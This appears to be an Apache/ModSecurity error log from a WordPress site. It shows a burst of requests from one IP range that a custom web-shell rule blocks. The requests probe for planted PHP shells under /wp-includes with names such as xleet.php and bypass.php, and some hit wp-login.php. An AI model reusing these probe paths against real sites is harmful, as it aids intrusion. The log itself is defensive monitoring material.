[Wed Apr 22 01:33:58.371120 2026] [:error] [pid 35321:tid 35395] [client 45.137.126.13:24297] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aee1BjeHLhVUuu8cVXxQlAAAAEs"]
[Wed Apr 22 01:34:09.709738 2026] [:error] [pid 53832:tid 53848] [client 45.137.126.10:60019] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aee1EdzkuxsE_OhM9UKb9QAAAk0"]
[Wed Apr 22 01:34:20.918278 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.9:34687] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aee1HIJW6fdXWO6agMF7XAAAAAY"]
[Wed Apr 22 01:34:30.204287 2026] [:error] [pid 53978:tid 53980] [client 45.137.126.3:39041] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aee1Jp1ivsR4hcOSQbZ1AgAAAoA"]
[Wed Apr 22 01:34:31.383886 2026] [:error] [pid 53731:tid 53738] [client 45.137.126.24:54327] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aee1J12I9THUR-bRVGzVewAAAgM"]
[Wed Apr 22 01:34:34.419658 2026] [:error] [pid 53978:tid 53996] [client 45.137.126.7:51261] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aee1Kp1ivsR4hcOSQbZ1CQAAApA"]
[Wed Apr 22 01:34:37.925116 2026] [:error] [pid 35321:tid 35408] [client 45.137.126.48:29539] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aee1LTeHLhVUuu8cVXxRCQAAAFg"]
[Wed Apr 22 01:34:38.899191 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.45:61165] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aee1LozEbQHHxtmWbab9nAAAAtQ"]
[Wed Apr 22 01:34:50.530632 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.27:28483] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aee1OjeHLhVUuu8cVXxRLgAAAEw"]
[Wed Apr 22 01:34:55.611820 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.27:45379] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aee1PzeHLhVUuu8cVXxRNgAAAFU"]
[Wed Apr 22 01:34:56.588565 2026] [:error] [pid 35320:tid 35351] [client 45.137.126.46:53087] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aee1QIJW6fdXWO6agMF7kwAAABU"]
[Wed Apr 22 01:35:01.647008 2026] [:error] [pid 35320:tid 35344] [client 45.137.126.53:26039] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aee1RYJW6fdXWO6agMF7ogAAAA4"]
[Wed Apr 22 01:35:04.637347 2026] [:error] [pid 35320:tid 35330] [client 45.137.126.47:22307] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aee1SIJW6fdXWO6agMF7qQAAAAA"]
[Wed Apr 22 01:35:15.727924 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.20:52509] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aee1UzeHLhVUuu8cVXxRXAAAAFU"]
[Wed Apr 22 01:35:19.240442 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.18:47911] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aee1V12I9THUR-bRVGzV2wAAAgc"]
[Wed Apr 22 01:35:24.159439 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.33:53067] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aee1XDeHLhVUuu8cVXxRawAAAFU"]
[Wed Apr 22 01:35:27.148755 2026] [:error] [pid 4823:tid 4862] [client 45.137.126.13:59093] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/as.php"] [unique_id "aee1X_c8mke3PfHqsxEkCQAAAYk"]
[Wed Apr 22 01:35:30.186197 2026] [:error] [pid 53731:tid 53737] [client 45.137.126.8:23831] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aee1Yl2I9THUR-bRVGzV6AAAAgI"]
[Wed Apr 22 01:35:31.315066 2026] [:error] [pid 53731:tid 53754] [client 45.137.126.50:28893] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/install.php"] [unique_id "aee1Y12I9THUR-bRVGzV6gAAAhI"]
[Wed Apr 22 01:35:32.285533 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.37:42431] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aee1ZIJW6fdXWO6agMF71wAAAAo"]
[Wed Apr 22 01:35:45.293750 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.35:63989] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aee1cYJW6fdXWO6agMF78QAAAAM"]
[Wed Apr 22 01:35:50.616370 2026] [:error] [pid 4777:tid 4799] [client 45.137.126.26:53033] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aee1dqxXur6bykKyLZTLUQAAAQs"]
[Wed Apr 22 01:35:55.503538 2026] [:error] [pid 53832:tid 53857] [client 45.137.126.25:39725] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aee1e9zkuxsE_OhM9UKcLAAAAlY"]
[Wed Apr 22 01:35:58.966342 2026] [:error] [pid 4777:tid 4794] [client 45.137.126.43:50291] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aee1fqxXur6bykKyLZTLWQAAAQY"]
[Wed Apr 22 01:36:06.985077 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.53:29203] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aee1hl2I9THUR-bRVGzWAAAAAgc"]
[Wed Apr 22 01:36:08.448799 2026] [:error] [pid 35320:tid 35344] [client 45.137.126.23:30331] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aee1iIJW6fdXWO6agMF8BQAAAA4"]
[Wed Apr 22 01:36:09.921806 2026] [:error] [pid 35321:tid 35397] [client 45.137.126.18:60623] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aee1iTeHLhVUuu8cVXxRowAAAE0"]
[Wed Apr 22 01:36:13.475483 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.34:49489] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aee1jYJW6fdXWO6agMF8EAAAAAs"]
[Wed Apr 22 01:36:25.952183 2026] [:error] [pid 35320:tid 35353] [client 45.137.126.21:51825] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aee1mYJW6fdXWO6agMF8MAAAABc"]
[Wed Apr 22 01:36:26.924027 2026] [:error] [pid 53731:tid 53741] [client 45.137.126.34:25735] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aee1ml2I9THUR-bRVGzWBwAAAgY"]
[Wed Apr 22 01:36:33.823725 2026] [:error] [pid 53731:tid 53757] [client 45.137.126.6:22511] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aee1oV2I9THUR-bRVGzWDAAAAhU"]
[Wed Apr 22 01:36:34.798049 2026] [:error] [pid 53978:tid 53996] [client 45.137.126.53:44637] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aee1op1ivsR4hcOSQbZ1iAAAApA"]
[Wed Apr 22 01:36:38.320318 2026] [:error] [pid 53978:tid 53991] [client 45.137.126.7:21521] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aee1pp1ivsR4hcOSQbZ1kAAAAos"]
[Wed Apr 22 01:36:39.305413 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.39:37691] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aee1p4JW6fdXWO6agMF8PAAAAAk"]
[Wed Apr 22 01:36:40.279594 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.39:27047] [client 45.137.126.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aee1qF2I9THUR-bRVGzWEQAAAgg"]
[Wed Apr 22 01:36:40.284076 2026] [proxy_fcgi:error] [pid 53731:tid 53743] [client 45.137.126.39:27047] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:36:40.771829 2026] [:error] [pid 53731:tid 53747] [client 45.137.126.39:27047] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aee1qF2I9THUR-bRVGzWEwAAAgw"]
[Wed Apr 22 01:36:45.797769 2026] [:error] [pid 53731:tid 53740] [client 45.137.126.29:46505] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aee1rV2I9THUR-bRVGzWHAAAAgU"]
[Wed Apr 22 01:36:46.775010 2026] [:error] [pid 53731:tid 53755] [client 45.137.126.52:31345] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "aee1rl2I9THUR-bRVGzWHgAAAhM"]
[Wed Apr 22 01:36:57.307066 2026] [:error] [pid 35321:tid 35406] [client 45.137.126.2:60947] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aee1uTeHLhVUuu8cVXxSIAAAAFY"]
[Wed Apr 22 01:36:59.289132 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.45:40221] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aee1uzeHLhVUuu8cVXxSTAAAAEM"]
[Wed Apr 22 01:37:04.485878 2026] [:error] [pid 53832:tid 53841] [client 45.137.126.23:23257] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aee1wNzkuxsE_OhM9UKcYwAAAkY"]
[Wed Apr 22 01:37:05.461578 2026] [:error] [pid 35320:tid 35334] [client 45.137.126.43:33691] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aee1wYJW6fdXWO6agMF8hAAAAAQ"]
[Wed Apr 22 01:37:06.434762 2026] [proxy_fcgi:error] [pid 35321:tid 35404] [client 45.137.126.8:24537] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:37:06.926162 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.8:24537] [client 45.137.126.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aee1wjeHLhVUuu8cVXxSnwAAAEQ"]
[Wed Apr 22 01:37:11.242365 2026] [:error] [pid 35321:tid 35403] [client 45.137.126.8:24537] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aee1xzeHLhVUuu8cVXxSwwAAAFM"]
[Wed Apr 22 01:37:15.210476 2026] [:error] [pid 54080:tid 54105] [client 45.137.126.4:39505] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aee1y4zEbQHHxtmWbab94wAAAtc"]
[Wed Apr 22 01:37:18.193176 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.45:64011] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aee1zjeHLhVUuu8cVXxS-gAAAEM"]
[Wed Apr 22 01:37:19.168753 2026] [:error] [pid 53832:tid 53859] [client 45.137.126.51:36091] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aee1z9zkuxsE_OhM9UKcZQAAAlg"]
[Wed Apr 22 01:37:24.720378 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.46:44675] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aee11DeHLhVUuu8cVXxTBwAAAFE"]
[Wed Apr 22 01:37:29.634165 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.20:50625] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aee12YJW6fdXWO6agMF8pQAAAAs"]
[Wed Apr 22 01:37:38.839853 2026] [:error] [pid 35320:tid 35330] [client 45.137.126.13:32149] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aee14oJW6fdXWO6agMF80QAAAAA"]
[Wed Apr 22 01:37:39.812642 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.26:53477] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aee144JW6fdXWO6agMF81AAAAAs"]
[Wed Apr 22 01:37:42.797348 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.39:54299] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/count.php"] [unique_id "aee15oJW6fdXWO6agMF83QAAAAw"]
